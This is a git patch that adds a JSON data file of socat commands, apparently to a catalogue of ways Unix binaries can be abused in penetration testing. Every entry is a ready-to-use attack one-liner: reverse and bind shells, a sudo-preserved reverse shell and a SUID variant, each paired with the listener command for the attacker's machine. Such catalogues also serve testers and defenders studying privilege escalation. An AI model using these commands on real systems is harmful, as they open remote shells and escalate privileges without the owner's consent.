From c3696102b45d1042d1b612505133d8e7a00e9942 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:10:33 +0100 Subject: [PATCH] add data for socat --- data/socat.json | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 data/socat.json diff --git a/data/socat.json b/data/socat.json new file mode 100644 index 0000000..1f62b25 --- /dev/null +++ b/data/socat.json @@ -0,0 +1,28 @@ +{ + "functions": { + "reverse-shell": [ + { + "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", + "code": "socat tcp-connect:[host]:[port] exec:sh,pty,stderr,setsid,sigint,sane\n" + } + ], + "bind-shell": [ + { + "description": "Run 'socat FILE:`tty`,raw,echo=0 TCP:target.com:[port]' on the attacker box to connect to the shell.", + "code": "socat TCP-LISTEN:[port],reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane\n" + } + ], + "sudo": [ + { + "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", + "code": "sudo -E socat tcp-connect:[host]:[port] exec:sh,pty,stderr,setsid,sigint,sane\n" + } + ], + "limited-suid": [ + { + "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", + "code": "./socat tcp-connect:[host]:[port] exec:sh,pty,stderr,setsid,sigint,sane\n" + } + ] + } +} \ No newline at end of file